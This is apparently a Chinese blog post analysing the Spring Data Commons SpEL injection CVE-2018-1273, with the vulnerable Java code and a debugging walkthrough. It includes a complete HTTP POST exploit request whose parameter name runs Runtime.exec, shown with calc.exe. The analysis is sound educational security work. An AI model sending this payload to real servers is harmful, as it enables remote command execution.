漏洞分析的边界

漏洞分析最应该关注的是漏洞相关的代码,至于其余的代码可以通过关键位置下断点,来理解大概功能。

其中最关键的就是了解数据流,找到离漏洞位置最近的 原始数据 经过的位置,然后开始往下分析,一直到漏洞位置。

一个漏洞的触发的数据流动如下图所示:

触发漏洞,首先需要输入数据,然后数据会通过一些通用的流程,比如请求参数的复制,传递之类的, 然后数据会传到一个离漏洞点比较近的位置,然后进入漏洞逻辑,触发漏洞。

所以在进行漏洞分析时我们需要做的工作主要是

  • 定位到离漏洞点比较近的数据位置(可以在关键位置下断点,然后猜测参数和请求数据的关系)

  • 分析漏洞

CVE-2018-1273漏洞分析

静态代码分析

漏洞位于MapPropertyAccessor 类的 setPropertyValue 方法

    private static class MapPropertyAccessor extends AbstractPropertyAccessor {

        public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
if (!this.isWritableProperty(propertyName)) {
throw new NotWritablePropertyException(this.type, propertyName);
} else {
StandardEvaluationContext context = new StandardEvaluationContext();
context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
context.setTypeConverter(new StandardTypeConverter(this.conversionService));
context.setRootObject(this.map);
Expression expression = PARSER.parseExpression(propertyName);
PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
TypeInformation<?> owningType = leafProperty.getOwningType();
TypeInformation<?> propertyType = leafProperty.getTypeInformation();
propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
if (descriptor == null) {
throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
} MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
if (typeDescriptor == null) {
throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
} value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
} expression.setValue(context, value);
}
}

函数调度参数值的内容为 POST 请求的参数名。

上述代码的流程为

  • 首先通过 isWritableProperty 校验参数名 , 检测 参数名 是否为 controller 中设置的 From 映射对象中的成员变量。
  • 然后创建一个 StandardEvaluationContext , 同时 PARSER.parseExpression 设置需要解析的表达式的值为函数传入的参数
  • 最后通过 expression.setValue 进行 spel 表达式解析。

动态调试分析

搭建调试环境

首先下载官方的示例程序

https://github.com/spring-projects/spring-data-examples

然后切换到一个比较老的有漏洞的版本

git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d

最后用 idea 导入 maven 项目。

然后运行 web/example 项目即可

我们在 setPropertyValue 下个断点,然后通过 burp 发送 payload 过去

POST /users HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8080/users
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Connection: close
Upgrade-Insecure-Requests: 1 username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22calc.exe%22%29%5D=xxxxxxx

其中执行命令的 payload 如下

[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]

# 在 spel 中有两个变量可以访问,为 #this 和 #root, 其中 #root 通过 setRootObject 设置 , 我们可以通过 #this 以反射的方式执行命令。

可以看到参数为 我们 POST 请求中的 参数名部分 。然后他会进入 isWritableProperty 进行校验,校验通过才能触发漏洞。

isWritableProperty 最后会调用 getPropertyPath 进行校验。

        private PropertyPath getPropertyPath(String propertyName) {
String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", "");
return PropertyPath.from(plainPropertyPath, this.type);
}

首先通过正则取出需要设置的参数名 (arg[] 的作用是设置 arg 数组中的值, 这里就相当于取出 arg).

然后判断 plainPropertyPath 是不是 this.type 里面的一个属性。

其中 this.type 就是在 controller 处用到的用于接收参数的类。

所以我们用这个类的一个字段 + [payload] 构造 spel payload 就可以执行 spel 表达式。

然后就会弹计算器了。

总结

根据漏洞作者博客,这个漏洞的发现过程是通过 find-sec-bug 这个插件匹配到 spel 表达式的解析的位置,然后从这个位置回溯,发现该函数的参数就是 POST参数名部分(用户可控的部分),于是分析有漏洞的函数,发现只要过掉开头的 check 就可以触发漏洞。

经过以往的经验,我认为常规漏洞大都是 特征 + 程序特定逻辑 ---> 漏洞

参考

https://xz.aliyun.com/t/2269#toc-1
http://blog.nsfocus.net/cve-2018-1273-analysis/
https://gosecure.net/2018/05/15/beware-of-the-magic-spell-part-1-cve-2018-1273/
https://blog.csdn.net/qq_22655689/article/details/79920104

从CVE-2018-1273看漏洞分析的更多相关文章

  1. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  2. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  3. 从乌云的错误漏洞分析看Mifare Classic安全

    前言 12年2月初国内著名安全问题反馈平台-乌云发布了有关某公司员工卡的金额效验算法破解的安全问题.从整个漏洞分析来看,漏洞的提交者把员工卡的数据分析得非常仔细,以至很多刚刚接触或者未曾接触的都纷纷赞 ...

  4. 【转帖】2018年Windows漏洞年度盘点

    2018年Windows漏洞年度盘点丨老漏洞经久不衰,新0day层出不穷 腾讯电脑管家2019-02-12共17875人围观 ,发现 1 个不明物体网络安全资讯 https://www.freebuf ...

  5. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  6. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  7. SpringBoot SpEL表达式注入漏洞-分析与复现

    目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...

  8. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  9. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

随机推荐

  1. 【bzoj4503】 两个串 FFT

    $FFT$套路题(然而我看错题了) 我们考虑化一下式子. 设当前比较的两个部分为$S[i....i+|T|-1]$和$T[0....|T|-1]$. 我们对串$T$中出现问号的位置全部赋值为$0$. ...

  2. POJ 2350

    #include<iostream> #include<stdio.h> #include<iomanip> using namespace std; int ma ...

  3. 再学Java 之 解决No enclosing instance of type * is accessible

    深夜,临睡前写了个小程序,出了点小问题 public class Test_drive { public static void main(String[] args){ A a = new A(); ...

  4. svn新增文件时自动给文件设置强制只读属性needs-lock

    1.从SVN客户端的“设置”->常规设置-> Subversion->Subversion 配置文件-> 编辑按钮 -> 打开配置文件 2.找到[miscellany], ...

  5. android listview实现点击某个item后使其显示在屏幕顶端

    在该listview的点击事件中加入一下代码即可 listView.setSelectionFromTop(position, 0);

  6. XMind *思维导图的安装步骤(图文详解)

    不多说,直接上干货! XMind中文官网:  http://www.xmindchina.net/ 这一款软件,是非常实用和棒,也帮助我了很多地方.推荐给大家 需要正版和激活的,请见博文最下端的QQ技 ...

  7. Nodejs学习笔记(五)—Express安装入门与模版引擎ejs

    前言 前面也学习了一些Node.js的基本入门知道,现在开始进入Web开发的部分: Node.js提供了http模块,这个模块中提供了一些底层接口,可以直接使用,但是直接开发网站那还是太累了,所以ht ...

  8. Oracle数据库中的分页--rownum

    1. 介绍 当我们在做查询时,经常会遇到如查询限定行数或分页查询的需求,MySQL中可以使用LIMIT子句完成,在MSSQL中可以使用TOP子句完成,那么在Oracle中,我们如何实现呢? Oracl ...

  9. mysql2

    第三章   保证数据完整性 3.1 数据完整性的概述:实体完整性  域完整性  引用完整性  用户自定义完整性 3.2 数据完整性的实现   3.2.1 创建非空约束  (在定义列后加上  not n ...

  10. ARM的体系结构与编程系列博客——ARM体系变种

    ARM体系变种的简介 有人会很奇怪一件事情,ARM居然会变种,不会是基因突变了吧,呵呵,其实ARM变种通俗一点来讲呢,就是ARM突然具备了一种特定的功能!并非是基因突变哦!ARM是reboot好不好? ...